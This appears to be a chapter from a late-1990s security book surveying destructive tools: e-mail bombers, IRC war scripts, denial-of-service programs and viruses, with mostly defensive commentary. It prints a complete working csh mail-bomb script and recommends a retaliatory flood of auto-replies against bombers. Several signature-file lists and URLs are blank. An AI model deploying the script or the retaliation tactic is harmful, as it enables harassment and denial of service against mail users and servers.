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Maximum Security:

A Hacker's Guide to Protecting Your Internet Site and Network

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Destructive Devices

In this chapter, I examine munitions that I classify as destructive devices. Destructive devices are software programs or techniques that accomplish either of the following objectives:

  • Harassment

  • Destruction of data

These devices are all relatively low-level tools and techniques, more likely to be employed by immature users, disgruntled employees, or kids. Such tools and techniques exist, to the chagrin of the serious computing communities, but they exist nonetheless. It is important that new system administrators (and indeed, average users) know about such destructive devices, so I have included them here even though they are not front-line security issues for most networks.

The use of these devices is becoming widespread. With the rise of the GUI (and the increased availability of programming tools and languages to the general populace), this trend can only be expected to continue.

NOTE: The average high school student now has access to C, C++, Pascal, BASIC, and so on. School policies are usually very strict about students copying such software, but most youngsters pay little attention. I have a client in Los Angeles whose son has built an enormous collection of programming tools. He obtained all those programs at his high school. (Young college students get these software products legally, perhaps, but at the greatly reduced rate for educational institutions. Therefore, they have ready access, irrespective of how they acquire such tools.)

It should be noted that destructive devices can be a security risk for small networks or single servers. If your box is hooked up via Ethernet with a fast connection and you have only one mail server, an e-mail bomb attack on one of your users could temporarily grind your machine to a halt.

I have chosen to highlight four key utilities within the destructive device class:

  • E-mail bombs and list linking

  • Flash bombs and war scripts

  • Denial-of-service tools

  • Viruses

Of these items, only the last two (denial-of-service tools and viruses) are of any real consequence. They have the potential for real damage or, equally dangerous, serious breach of a server's security. (These are discussed in the last half of this chapter.) The first two, in contrast, have been briefly dealt with in previous chapters. Here, I take a more comprehensive look at these innocuous but irritating tidbits.

The E-mail Bomb

I cannot say for certain when the first user "e-mail bombed" another. However, I imagine it wasn't long after e-mail became available. (Old-timers adamantly dispute this, explaining that they were far too responsible for such primitive activity. Hmmm.) In any event, in this section you will find the key utilities being distributed for this purpose.

Up Yours

The Up Yours mail-bombing program is probably the most popular bomber out there. It uses minimal resources, does a superb job, has a simple user interface, and attempts to obscure the attacker's source address. Features of the program include being able to specify times of day to start and stop as well as the number of messages with which it will hammer the target.

Version 2.0 of this utility was released sometime in March 1997. This bomber runs only on the Microsoft Windows platform. As you might expect, the tech support is wanting, but the program is free nonetheless. If you are a system administrator, you will want to scan your local drives for the following files:


If these files appear in a user's directory, there is a strong likelihood that he is about to e-mail bomb someone (of course, perhaps he simply spends his time collecting hacking and cracking programs). In any event, the utility is hard to find. If one of your users has acquired this program, he clearly has an interest in hacking or cracking.


KaBoom differs significantly from Up Yours. For one thing, KaBoom has increased functionality. For example, traveling from the opening screen to the main program, you find a utility to list link. Using this function, you can subscribe your target to hundreds of e-mail lists. (Do you remember the case in Chapter 4, "Just Who Can be Hacked, Anyway?," where a senior editor of Time magazine was list linked to thousands of mailing lists?)

NOTE: List linking is a rather insidious activity and a not-so-subtle form of harassment. It works like this: On the Internet are mail servers that distribute mail messages collected from various sources. These messages invariably concentrate on a special-interest subject (the subject of security, for example). These mail servers (sometimes called list servers) collect such messages and mail them to members of the list on a daily, weekly, or monthly basis. Members can subscribe to such a list in several ways, though most commonly through e-mail. When I say that a target has been list-linked, I mean the target has been subscribed (without his consent) to one or more mailing lists. This is usually done with a tool like KaBoom. Such tools submit registration requests on behalf of the victim, forging his e-mail address.

This utility works quite well, but the interface is poorly programmed. (For example, the main list window presents the lists as selectable from check boxes. This is shoddy work. The programmer could have saved time and space by running them through a list box instead. It takes a lot of work using this utility to link the target to any significant number of lists; the bombing party is forced to scroll down to obtain more lists.)

In any event, this utility's signature files are these:



The Avalanche e-mail bombing utility works smoothly and is well designed. The list groups are displayed in a drop-down combo box, and their individual lists are displayed in a list box. Three clicks of a mouse and your target is in hot water.

TIP: The programmer here was a bit absentminded. The program was written at least in part in Microsoft Visual Basic 4.0. As such, there are a series of DLL files that are required to run the application. These are missing from the general distribution of this utility; therefore, serious bombers must go out onto the Internet to retrieve those files (one is OC2.DLL). Because of this, I would estimate that Avalanche is probably used less than its counterparts, even though its overall design is superior. Inconvenience discourages most users of this particular ilk.

The signature files for this product are


The Unabomber utility is a rudimentary tool, but one must give the author credit for humor. Unabomber offers no list-linking capabilities. It is essentially a flat e-mail bomber and does no more than send messages over and over. One interesting element is that Unabomber comes with a help function. (As though you would actually need it.)

The signature files for this utility are

eXtreme Mail

eXtreme Mail is well programmed. It has all the basic features of a commercial application, including an interactive installation process. The installation process performs all the routine checks for disk space, resources, and so forth. It also observes proper registry conventions and is easily uninstalled. This is a relatively new mail bomber, and apparently, the name eXtreme is also the name of the group that produced the software.

The signature files for this product are


The Homicide utility was written by a youngster with the moniker Frys and was discontinued in 1996. The author claims that he wrote the utility because Up Yours 2.0 was inadequate as an e-mail bombing tool. However, with the release of Up Yours 3.0, Frys apparently decided to discontinue any further releases. As of March 1997, it is available only at a very few select sites. The signature files for this utility are

The UNIX MailBomb

This UNIX e-mail bomber is reportedly written by CyberGoat, an anonymous cracker out in the void. The programming is so-so. In fact, the author made no provisions in the event that the originating server has restrictions on multiple processes. (Perhaps a sleep call would have been wise.) The signature file on this one is mailbomb.csh.

# Anonymous Mailbomber
# do chmod u+rwx <filename> where
# filename is the name of the file that
# you saved it as.
# "teltemp"
echo -n "What is the name or address of the smtp server?"
set server = $<
#echo open $server 25 > teltemp
echo quote helo >> teltemp
#The entry for the following should be a single name (goober),
#not goober@internet.address.
echo -n "Who will this be from (e.g. somebody) ?"
set from = $<
echo quote mail from: $from >> teltemp
echo -n "Who is the lucky recipient (e.g. someone@somewhere)?"
set name = $<
echo quote rcpt to: $name >> teltemp
echo quote data >> teltemp
echo quote . >> teltemp
echo quote quit >> teltemp
echo quit >> teltemp
echo -n "How many times should it be sent ?"
set amount = $<
set loop_count = 1
while ($loop_count <= $amount)
    echo "Done $loop_count"
    ftp -n $server 25 < teltemp
    @ loop_count++
rm ./teltemp
echo $amount e-mails complete to $name from $from@$server
# --------------------
# MailBomb by CyBerGoAT


The Bombtrack utility is reportedly the first mail-bombing tool written for the Macintosh platform. (This is of some significance. Programming a garden-variety utility like this on the Microsoft Windows platform is simple, and can be accomplished almost entirely with a visual design interface. Very little code needs to go into it. Writing for the Mac platform, however, is a slightly different affair.)

Basically, Bombtrack is another run-of-the-mill bombing utility, widely available at hacker sites across the Internet. The signature file for this application is



FlameThrower is a bombing utility written for Macintosh. Its main purpose is list linking; it allows the user to subscribe his target to 100 lists. The binary is quite large, considering its intended purpose. The author should get some credit for style of design, but Macintosh users are fairly stylish as a rule. The signature for this file is


General Information About E-Mail Bombs

E-mail bombing is nothing more than nuisance material. The cure is generally a kill file or an exclusionary scheme. An exclusionary scheme is where you bar entry of packets received from the source address. As discussed in Chapter 13, "Techniques to Hide One's Identity," obtaining the source address is a fairly simple process, at least in a UNIX environment. Really, it involves no more than reading the message in Mail as opposed to Pine or Elm; this will reveal the actual source address and expand the path. Examining the complete path (even in Netscape Navigator, for example) will give you the originating mail server.

If you maintain a site and malicious users from the void start bombing you, contact their postmaster. This is usually quite effective; the user will be counseled that this behavior is unnecessary and that it will not be tolerated. In most cases, this proves to be a sufficient deterrent. (Some providers are even harsh enough to terminate the account then and there.) However, if you are faced with a more difficult situation (for example, the ISP couldn't care less if its users bombed the Internet collectively), you might have to take more aggressive measures.

One such measure is to block traffic from the originating network at the router level. (There are various packet-filtering techniques that you can apply.) However, if this doesn't suit your needs (or your temperament), there are other, more proactive solutions. One fine technique that's guaranteed to work is this: Fashion a script that catches the offending e-mail address each time it connects to your mail server. For each such connection request, terminate the connection and autorespond with a polite, 10-page advisory on how such attacks violate acceptable use policies and that, under certain circumstances, they may violate the law. After the offending party has received 1,000 or so returns of this nature, his previously unconcerned provider will bring the offender onto the carpet and promptly chop off his fingers.

There are renegade providers around, and there is absolutely no reason that you cannot undertake such action. After all, you have done no more than refuse the connection and issue an advisory. It is hardly your fault if the warning was not heeded. Notwithstanding various pieces of legislation to bring the Internet into the civilized world, it is still much like the Old West. If another provider refuses to abide by the law and generally accepted practices, take it down to the OK Corral. One last point here: To make this technique especially effective, be sure to CC the postmaster of the bomber's site with each autorespond message.

NOTE: These aggressive techniques can only be implemented in the event of a garden-variety mail-bombing situation. This will not work for list linking because list linking is a process that obscures the true origin address of the attacker. The only way to obtain that address if is the list owner (whoever is responsible for the mailing list server) runs logging utilities and actually keeps those logs.

For example, suppose the list accepts subscription requests from a Web page. It can easily obtain the address by checking the HTTP server connection log (this file is normally called access.log). HTTP servers record the originating IP address of each connection. However, the large majority of lists do not accept subscription requests through their Web pages. Instead, they use garden-variety mail. The percentage of system administrators who heavily log connection requests to their mail server is fairly small. Moreover, to trace the attacker, you would need help from more than just the system administrator at the mail list site; suppose the attacker was using a dial-up connection with a dynamically allocated IP address. After you acquire that IP from the mail-list system administrator, you must convince the attacker's ISP to cooperate by forwarding its logs to you.

Furthermore, unless the attacker's ISP is running good logging utilities, the logs you receive will only demonstrate a list of possible suspects (the users who were logged to that IP or dial-up at the hour of the attack). Even more research may be required. For this reason, list linking has become far more popular than run-of-the-mill mail bombing.

IRC: Flash Bombs and War Scripts

Flash utilities (also referred to as flash bombs) belong to a class of munitions that are used on Internet Relay Chat (IRC). IRC is the last free frontier because it is spontaneous and uncontrollable. It consists of people chatting endlessly, from virtual channel to virtual channel. There is no time for advertisements, really, and even if you tried to push your product there, you would likely be blown off the channel before you had a chance to say much of anything.

In this respect, IRC is different from any other networked service on the Internet. IRC is grass roots and revolutionary Internet at its best (and worst), and with all likelihood, it will remain that way forever.

IRC was developed in Finland in the late 1980s. Some suggest that its purpose was to replace other networking tools of a similar ilk (for example, the talk service in UNIX). Talk is a system whereby two individuals can communicate on text-based terminals. The screens of both users split into two parts, one for received text and one for sent text. In this respect, talk operates a lot like a direct link between machines using any of the popular communications packages available on the market (Qmodem and ProComm Plus are good examples). The major difference is that talk occurs over the Internet; the connection is bound by e-mail address. For example, to converse with another party via talk, you issue a command as follows:


This causes the local talk program to contact the remote talk daemon. If the person is available (and hasn't disabled incoming connections via talk), the screen soon splits and the conversation begins.

IRC differs from talk in that many people can converse at the same time. This was a major innovation, and IRC chatting has become one of the most popular methods of communication on the Net.

NOTE: IRC is one of the few places on the Internet where an individual can successfully evade even advanced detection techniques. For instance, many software pirates and crackers frequent IRC. If they are extremely paranoid, they change servers and screen names every half hour or so. Moreover, they often create their own channels instead of frequenting those already available. Finally, file transfers can be done over IRC, directly from point A to point B. No record is left of such a transfer. This differs from other types of transfers that may be closely logged. Similar types of transfers can also be made if at least one of the parties is running servers such as FTP, HTTP, or Gopher. However, IRC allows such a transfer without server software running on either box.

Internet warfare (that is, "hand-to-hand" combat) often occurs on IRC because IRC is lawless--a place where almost anything goes. Briefly, it works like this: Once connected to an IRC server, a user can go into a series of channels called chat spaces. Inside each channel, there is an operator, or a person who has some authority--authority, for example, to "kick" any user forwarding information that the operator deems objectionable. (Kicking is where the target is bumped from the channel and is forced to reconnect.) The operator can also ban a user from the channel, either temporarily or semi-permanently.

NOTE: The first person to connect to (or create) an empty channel is automatically the operator by default. Unless he voluntarily relinquishes that authority, he has complete control of the channel and can institute kick or ban actions against anyone who subsequently joins the channel.

As you might expect, people who get kicked or banned often respond angrily. This is where combat begins. Since the introduction of IRC, dozens of munitions have been developed for use in IRC combat. They are described in the following sections.


Although not originally designed for it, crash.irc will blow a Netcom target out of IRC. In other words, an attacker uses this utility to force a Netcom user from a channel (Netcom is a very large ISP located in northern California).


The botkill2.irc script kills bots. Bots are other automated scripts that run in the IRC environment.


ACME is a typical "war" script. Its features include flooding (where you fill the channel with garbage, thereby denying others the ability to communicate) and the ability to auto-kick someone from a channel.

NOTE: Flooding can deny other users access simply because of the volume of text run through the server. It works like this: The attacker unleashes a flooding utility that generates many, many lines of text. This text is printed across the terminals of all users currently logged to the channel. Because this text saturates the write-ahead buffer of all client programs, the victims must wait for the flood to stop before they can type any further messages. Interestingly, many flood scripts actually fashion images from various text characters. If you watch such a flood for a moment, you will see some type of image develop. This activity is similar to ASCII art, which is now a popular form of artistic expression on text-based terminals that cannot display actual graphics. Of course, flooding is very irritating and therefore, few users are willing to tolerate it, even if the art that results is attractive.


Saga is a sophisticated and complex script; it performs more functions than those used in combat. The main features are that it can

  • Kick and ban a target, for either a specified time period or 30-90 seconds

  • Strip an operator of his authoritative status

  • Screen out all users from a given domain

  • Blow all users from the channel

  • Enter a channel and kill all operators (this is called takeover mode)


THUGS is another war script. It blows various client programs from IRC, kicks unwanted users, seizes control of a channel, and hangs at least one known Windows IRC program.

The 7th Sphere

Another war script worth mentioning is The 7th Sphere. The help file describes the utility as "An Equal Opportunity Destroyer." Here are some of its capabilities:

  • Blow everyone from a channel

  • Incisive user flooding (selectively flood only one or more users as opposed to the entire channel)

  • Colliding capabilities (the capability to cause a collision of nicknames on IRC servers, thereby knocking a user with an identical nickname from IRC)

  • Armor (prevents you from falling victim to another war script)

  • Nuke facility (enables you to attack and successfully disable those using Windows IRC clients)

  • Built-in port scanner

There are probably several thousand IRC scripts in the void. I have not offered any locations for these utilities because there is no good reason to provide such information. These tools may be of some limited value if you happen to be on IRC and come under attack, but more often, these tools are used to harass others and deny others IRC service. It is amazing how much good programming effort goes into utilities like these. Too bad.

Additional Resources

Following are some resources related to Internet Relay Chat (IRC). These are especially valuable if you are new to IRC. I have provided these primarily because IRC is not a subject often discussed in books on the Internet. IRC has been--and will likely remain--the purview of crackers and hackers all over the world.

  • The IRC Survival Guide: Talk to the World With Internet Relay Chat. Peachpit Press. Stuart Harris. ISBN 0-201-41000-1. 1995.

  • Learn Internet Relay Chat (Learn Series). Wordware Publishing. Kathryn Toyer. ISBN 1-55622-519-9. 1996.

  • Person to Person on the Internet. AP Professional. Keith Blanton and Diane Reiner. ISBN 0-12-104245-6. 1996.

  • Interactive Internet: The Insider's Guide to Muds, Moos, and IRC. Prima Publishing. William J. Shefski and Bill Shefski. ISBN 1-55958-748-2. 1995.

  • Using Internet Relay Chat. Que. ISBN 0-7897-0020-4. 1995.

  • Sunsite, Europe. Comprehensive collection of clients and other software.
  • Interactive Synchronous: IRC World. E-Lecture on IRC.

Denial-of-Service Tools

I examine denial-of-service attacks in a more comprehensive manner at several points throughout the remainder of this book. Here, I will refrain from discussing how such attacks are implemented, but will tell you what tools are out there to do so.

Ancient Chinese "Ping of Death" Technique

The title is hilarious, right? On more than one occasion, this technique for killing a Windows NT 3.51 server has been so called. (Actually, it is more commonly called just "Ping of Death.") This is not a program, but a simple technique that involves sending abnormally large ping packets. When the target receives (or in certain instances, sends) these large packets, it dies. This results in a blue screen with error messages from which the machine does not recover. Microsoft has issued a fix for this.

Cross Reference: Read the official advisory on the Ping of Death at


Syn_Flooder is a small utility, distributed in C source, that when used against a UNIX server will temporarily render that server inoperable. It utilizes a standard technique of flooding the machine with half-open connection requests. The source is available on the Net, but I will refrain from printing it here. This is a powerful tool and, other than its research value, it is of no benefit to the Internet community. Using such a tool is, by the way, a violation of federal law, punishable by a term of imprisonment. The utility runs on any UNIX machine, but was written on the Linux platform by a well-known hacker in California.


DNSKiller is a C program written and intended for execution on the Linux platform. It is designed to kill the DNS server of a Windows NT 4.0 box.


arnudp100.c is a program that forges the IP address of UDP packets and can be used to implement a denial-of-service attack on UDP ports 7, 13, 19, and 37. To understand the attack, I recommend examining a paper titled "Defining Strategies to Protect Against UDP Diagnostic Port Denial of Service Attacks," by Cisco Systems. Another good source for this information is CERT Advisory CA-96.01.

Cross Reference: Cisco Systems' "Defining Strategies to Protect Against UDP Diagnostic Port Denial of Service Attacks" can be found online at

CERT Advisory CA-96.01 can be found online at


cbcb.c is the filename for Cancelbot, written in C. This utility can be used to target Usenet news postings of others. It generates cancel control messages for each message fitting your criteria. Using this utility, you can make thousands of Usenet news messages disappear. Although this is not traditionally viewed as a denial-of-service attack, I have included it here simply because it denies the target Usenet service, or more directly, denies him his right to self expression. (No matter how obnoxious his opinion might seem to others.)


The win95ping.c file is C source code and a program to reproduce and implement a form of the Ping of Death attack from a UNIX box. It can be used to blow a machine off the Net temporarily (using the oversized Ping packet technique). There are two versions: one for Linux, the other for BSD 4.4 systems.

Other resources exist, but most of them are shell scripts written for use on the UNIX platform. Nevertheless, I would expect that within a few months, tools programmed in GUI for Windows and Mac will crop up. Denial-of-service (DoS) attacks are infantile and represent only a slightly higher level of sophistication than e-mail bombing. The only benefit that comes from DoS attacks is that they will ultimately provide sufficient incentive for the programming community to completely eliminate the holes that allowed such attacks in the first place. In all other respects, denial-of-service attacks are neither interesting nor particularly clever. In any event, the following sections list some resources for them.

ANS Communications

Products by ANS Communications are designed to thwart DoS attacks. ANS Communications can be found online at

Berkeley Software Design, Inc.

Berkeley Software Design, Inc. released source code that will defeat a DoS attack. It can be found online at

MCI Security

MCI Security offers links relating to denial-of-service attacks, and can be found online at


Digital offers information on preventing DoS on the DEC platform, and can be found online at

Cisco Systems

Cisco Systems offers solutions at the router level, and can be found online at


Viruses are serious matters. For such small entities, they can wreak havoc on a computer system. (Some viruses are as small as 380 bytes.) They are especially dangerous when released into networked environments (the Internet being one such environment).

Viruses have gained so much attention in the computing community that nearly everyone knows that viruses exist. However, some users confuse viruses with other malicious files. Therefore, I thought it might be nice to quickly define the term computer virus. Once again, if you are already well aware of these basic facts, skip ahead a few paragraphs.

A computer virus is a program, sometimes (but not necessarily) destructive, that is designed to travel from machine to machine, "infecting" each one along the way. This infection usually involves the virus attaching itself to other files.

This is markedly different from a trojan horse. A trojan horse is a static entity: malicious code nested within an otherwise harmless program. Trojans cannot travel from machine to machine unless the file that contains the trojan also travels with it. A trojan is commonly a string of computer code that has been surreptitiously placed within a trusted application. That code performs an unauthorized and hidden function, one that the user would almost certainly find objectionable. (For example, mailing out the password files to an attacker in the void, or perhaps opening a back door for him. A back door is some hidden method through which an attacker can later return to the affected machine and gain control over it.)

Viruses, in contrast, replicate. Most often, this phenomenon manifests itself by the virus attaching itself to a certain class of file. For example, it is very common for viruses to attach themselves to executable files. (On the DOS/Windows platform, viruses frequently target EXE and COM files.) Once the virus is attached to a file in this manner, the victim file itself becomes a security risk. That file, when transported to another computer system, can infect still other files that may never come in contact with the original virus program.

TIP: Note that data file viruses now exist. At least, macro viruses should (and usually are) classified under this heading. These viruses infect data files, namely documents. These are almost nonexistent, save in the Microsoft Word and Excel environments.

Try to think of a virus as a living creature for a moment. Its purpose is to infect computer systems, so it stays awake at all times, listening for activity on the system. When that activity fits a certain criterion (for example, an executable file executing), the virus jumps into action, attaching itself to the active program.

TIP: One way to tell whether a file is infected is to check its current size against the size it was when you installed it. (I wouldn't recommend using this as a method of identifying infected files, but if you find such a file using a virus checker, note the size. When you match it against the original size of the file, you will see that the file is now larger.) By subtracting the size of the virus from the file's size, you will be left with the approximate original size of the file (before it was infected).

If you have ever encountered a virus, you might have noticed that they are incredibly small (that is, for a program that can do so much). There is a good reason for this. Most viruses are written in a language called assembly language. Assembly language is classified in the computing community as a low-level language, meaning that it produces very small programs.

To understand what I mean by "low-level," consider this: Computers have become quite user friendly. Today, advanced technologies allow a user to almost "talk" to a machine and get suitable answers. (Consider, for example, the new Answer wizards in Microsoft products. You can basically type out a question in plain English. The internal program routines parse your question and search the database, and out comes the answer.) This is quite a parlor trick, and gives the illusion that the machine is conversing with you.

In reality, computers speak a language all their own. It is called machine language, and it consists of numbers and code that are unreadable by a human being. The classification of a "low" or "high" language depends solely on how close (or how far) that language is from machine language. A high- or medium-level language is one that involves the use of plain English and math, expressed much in the same manner as you might present it to a human being. BASIC, Pascal, and the C programming language all fit into the medium-level class of language: You can "tell" the machine what each function is, what it does, and how it does it.

Assembly language is only one step removed from machine language and is therefore a very low-level language. And, because it speaks so directly to the machine's hardware, the resulting programs are very small. (In other words, the translation process is minimal. This is greatly different from C, where substantial translation must occur to get the plain English into machine-readable code. The less translation that has to be done, the smaller the binary that results.)

Cross Reference: If you want to learn more about Assembly Language, there is an excellent page on the Web that sports a search engine through which you can incisively search terms, functions and definitions. That site is

Programs written in assembly language execute with great speed, often many times faster than those written in higher-level languages. So, viruses are small, fast, and, to users who are unprepared, difficult to detect.

There are many different types of viruses, but one of the most critical is the boot sector virus. To get you started on understanding how viruses work, I have picked the boot sector virus as a model.

Many users are unaware of how their hard disk drive works in conjunction with the rest of the system. I want to explore that process for just a moment.

Hard disks drives rely upon data stored in the master boot record (MBR) to perform basic boot procedures. The MBR is located at cylinder 0, head 0, sector 1. (Or, Logical Block Address 0. LBA methods of addressing vary slightly from conventional addressing; Sector 1=LBA 0.)

For such a small area of the disk, the MBR performs a vital function: It explains the characteristics of the disk to every other program that happens by. To do this, it stores information regarding the structure of the disk. This information is referred to as the partition table.

NOTE: If this sounds confusing, think about when you partition a disk. DOS/Windows users do this using a program called FDISK.EXE. UNIX users also have several similar utilities, including fdisk, cfdisk, and so on. Before partitioning a disk, it is customary to examine the partition table data. (At least, you will if you want to be safe!) These programs read the partition information from the MBR partition table. This information characteristically tells you how many partitions there are, their size, and so forth. (UNIX users will even see the type of partition. DOS/Windows users cannot identify partitions not commonly used on the AT platform. Whenever these are present, the type is listed as UNKNOWN.)

When a machine boots up, it proceeds, assuming that the CMOS settings are correct. These values are read and double-checked. If it finds that the default boot disk is actually 1GB when the BIOS settings suggest 500MB, there will be a problem. (The machine will not boot, and an error message will be generated.) Similarly, the RAM is tested for bad memory addresses. Eventually, when no errors have been encountered, the actual boot process begins. At that stage, the MBR takes the helm and the disk boots. When the boot sector has been infected by a virus, a critical situation develops.

As explained by the specialists at McAfee, the leading virus protection vendor:

Master Boot Record/Boot Sector (MBR/BS) infectors are those viruses that infect the MBR and/or boot sector of hard drives and the boot sector of floppy diskettes. These viruses are the most successful viruses in the world. This is because they are fairly simple to write, they take control of the machine at a very low level, and are often "stealthy." Eighty percent of the calls McAfee Support receives are on this type of virus.

Cross Reference: The previous paragraph is excerpted from an article titled "Top Master Boot Record/Boot Sector Infecting Viruses," produced by McAfee Associates. This paper can be found online at

MBR viruses are particularly insidious because they attack floppy disks whenever they are accessed by your machine. It is for this reason that MBR viruses are so commonly seen in the wild--because they infect floppies, they can travel from machine to machine fairly easily.

In any event, assume for the moment that you have a "clean" MBR. How does a virus manage to infect it? The infection process happens when you boot with an infected floppy diskette. Consider this situation: You decide that you are going to load a new operating system onto the drive. To do this, you use a boot floppy. (This boot floppy will contain a small boot routine that guides you through the installation.) Fine.

During the boot process, the virus loads itself into memory, although generally not the upper memory. In fact, very few viruses are known to reside in upper memory. When one does, it is usually because it has piggybacked its way there; in other words, it has attached itself to an executable or a driver that always loads high. This is rare.

Once loaded into memory, the virus reads the MBR partition information. In some cases, the virus programmer has added a routine that will check for previous infection of the MBR. It checks for infection not only by his own virus, but by someone else's as well. This procedure is usually limited in scope, because the programmer wants to save resources. A virus that could check for many other viruses before installing would characteristically be larger, more easily detected, less easily transmitted, and so forth. In any event, the virus then replaces the MBR information with its own, modified version. The installation procedure is complete.

NOTE: The majority of boot sector viruses also contain some provision for storing the original MBR elsewhere on the drive. There is a good reason for this. It isn't because the virus programmer is a nice person and intends to eventually return the MBR to its original state. Rather, it is because he has to. Many important functions require that the MBR be read on initialization. Typically, a virus will keep a copy of the original and offer it up whenever other processes request it. In this way, the virus remains hidden because these functions are never alerted to the fact that the MBR was in any way altered. Sneaky, right? When this technique is used correctly, it is referred to as stealth.

I have personal experience with just such a virus, called antiexe. A friend came to my office so I could assist him in preparing a presentation. He brought with him a small laptop that had been used at his company. Apparently, one of the employees had been playing a game on the laptop that required a boot disk. (Some games have strange memory-management routines that are not compatible with various user configurations. These typically request that you generate a boot disk and undertake other annoying procedures.) Through a series of unfortunate events, this virus was transferred from that laptop to one of my machines. The curious thing is this: I did have a terminate-and-stay-resident (TSR) virus checker installed on the infected machine. This was a well-known product, but I will not mention its name here lest I cause a panic. For some inexplicable reason, the TSR virus checker did not catch antiexe when it infected my MBR, but only after the machine was rebooted a day or so later. At any rate, I woke to find that my machine had been infected. Antiexe is described in the CIAC database as follows:

The virus hides in the boot sector of a floppy disk and moves the actual boot sector to cyl: 0, side: 1, sector: 15. On the hard disk, the virus infects the partition table, the actual partition table is on cyl: 0, side: 0, sector: 13. These are normally unused sectors, so disk data is not compromised by the virus insertion. The virus uses stealth methods to intercept disk accesses for the partition table and replaces them with the actual partition table instead of the virus code. You must boot a system without the virus in memory to see the actual virus code.

It was no problem to eliminate the virus. The same product that initially failed to detect antiexe destroyed it without event. The time I lost as a result was minimal.

Most viruses do not actually destroy data; they simply infect disks or files. There are, however, many occasions on which infection alone is enough to disrupt service; for example, some drivers operate erratically when infected. This is not to say, however, that there are no destructive viruses.

Who writes viruses? Many different types of programmers from many different walks of life. Kids are a common source. There are kits floating around on the Internet that will assist budding programmers in creating viruses. It has been theorized that young people sometimes write viruses to "make their mark" on the computing communities. Because these young people do not actually work in computer programming, they figure that writing a virus is one way to make a name for themselves. (A good percentage of virus authors take a pseudonym or "handle" and write under that. This moniker is sometimes found within the code of the virus.)

Cross Reference: There is a fascinating paper on the Internet regarding the rise of virus- development groups in Eastern Europe that describes how the virus took these programming communities by storm. Ultimately, bulletin board systems were established where virus authors could exchange code and ideas. The paper is extremely thorough and makes for absorbing reading, giving a bird's eye view of virus development in a noncapitalist environment. It is called "The Bulgarian and Soviet Virus Factories"; it was written by Vesselin Bontchev, Director of the Laboratory of Computer Virology at the Bulgarian Academy of Sciences in Sofia, Bulgaria. The paper can be found at

One interesting aspect of the virus-writing community is that vanity, envy, and fierce competition often influence the way such viruses are written. For example:

Some computer viruses are designed to work not only in a "virgin" environment of infectable programs, but also on systems that include anti-virus software and even other computer viruses. In order to survive successfully in such environments, those viruses contain mechanisms to disable and/or remove the said anti-virus programs and "competitor" viruses. Examples for such viruses in the IBM PC environment are Den_Zuko (removes the Brain virus and replaces it with itself), Yankee_Doodle (the newer versions are able to locate the older ones and "upgrade" the infected files by removing the older version of the virus and replacing it with the newer one), Neuroquila (disables several anti-virus programs), and several other viruses.

Cross Reference: The preceding paragraph is excerpted from an article by Vesselin Bontchev (a research associate at the Virus Test Center at the University of Hamburg) titled "Are `Good' Computer Viruses Still a Bad Idea?" This paper can be found online at

As I have already noted, many programmers develop viruses using virus kits, or applications that are designed specifically to generate virus code. These kits are circulated on the Internet. Here are the names of a few:

  • Virus Creation Laboratories
  • Virus Factory
  • Virus Creation 2000
  • Virus Construction Set
  • The Windows Virus Engine

These kits are usually quite easy to use, thereby allowing almost anyone to create a virus. (This is in contrast to the "old days," when advanced programming knowledge was required.) This has resulted in an increase in viruses in the wild.

NOTE: A virus is deemed in the wild when it has escaped or been released into the general population. That is, the wild refers to any computing environment outside the academic or development environment where the virus was created and tested. This term is purportedly derived from lingo used in reference to environments where biological warfare experiments are conducted. These studies are typically conducted under controlled circumstances, where no danger is posed to the surrounding communities. However, when a biological virus escapes its controlled environment, it is deemed to have entered the wild. Today, computer virus researchers refer to the Internet (or any publicly accessible computing environment) as the wild.

Reportedly, the first virus ever detected in the wild emerged in 1986. It was called the Brain virus. According to the CIAC Virus Database at the U.S. Department of Energy, the Brain virus was a memory-resident boot sector virus:

This virus only infects the boot sectors of 360 KB floppy disks. It does no malicious damage, but bugs in the virus code can cause loss of data by scrambling data on diskette files or by scrambling the File Allocation Table. It does not tend to spread in a hard disk environment.

The following year brought with it a host of different viruses, including some that did actual damage. The Merrit virus (which emerged in 1987) could destroy the file allocation table (FAT) on a floppy disk. This virus apparently went through several stages of evolution, the most dangerous of which was a version called Golden Gate. Golden Gate reportedly could reformat the hard disk drive.

Since then, innovations in virus technology have caused these creatures to become increasingly complex. This has led to classifications. For example, there are basically three types of virus:

  • Master boot sector viruses
  • Boot sector viruses
  • File viruses

I have already briefly examined a MBR virus in this chapter. The only material difference between that type and a garden-variety boot sector virus is that boot sector viruses target floppies. However, the third class of virus (the file virus) is a bit different. In contrast to boot sector viruses (which attack only a small portion of the disk), file viruses can spread systemwide.

Most often, file viruses infect only a particular class of file--usually executable files. COM and EXE files are good examples. File viruses, however, are not restricted to executables; some will infect overlay files (OVL) or even system driver files (SYS, DRV).

NOTE: Do you remember that I explained that viruses are rarely found in upper memory? When such viruses are found, they are usually riding on a driver, such as a SYS or DRV file. PC users who worked extensively with the DOS/Windows combination will remember various drivers that required an upper-memory load.

It is estimated that there are currently more than 7,000 file viruses on the DOS platform alone. As you might expect, virus authors are eager to write file viruses because of how far these can spread. Given 10 days on a computer system, a file virus can effectively infect the majority (or perhaps even all) of the executable files on the hard disk drive. This is due to the manner in which file viruses operate.

Under normal operations (on a noninfected machine), a command is executed and loaded into memory without event. (This could equally be a COM file. I just happened to have used the .EXE extension.) When a file virus is present, however, the process is complicated because the virus now intercepts the call.

First, the virus temporarily intercepts the process for long enough to infect the program file. After infecting the program file, the virus releases its control over the system, returning the reins to the operating system. The operating system then loads the infected file into memory. This process will be repeated for each file loaded into the system memory. Stop and think for a moment about this. How many files are loaded into memory in the course of a business day? This is how file viruses ultimately achieve systemic infection of the system.

In addition to the classifications of viruses, there are also different types of viruses. These types are derived from the manner in which the virus operates or what programming techniques were employed in its creation. Here are two:

  • Stealth viruses use any of a number of techniques to conceal the fact that the drive has been infected. For example, when the operating system calls for certain information, the stealth virus responds with that information as it was prior to infection. In other words, when the infection first occurs, the virus records the information necessary to later fool the operating system (and virus scanners).

  • Polymorphic viruses are a relatively new phenomenon, and they are infinitely more complex than their counterparts. Polymorphic viruses can change, making them more difficult to identify. There have been instances of a polymorphic virus using advanced encryption techniques. This amounts to a signature that may change. This process of changing is called mutation. In mutation, the virus may change its size and composition. Because virus scanners most often search for known patterns (by size, checksum, date, and so forth), a well-crafted polymorphic virus can evade detection. To combat this new technique, virus specialists create scanners that can identify encryption patterns.

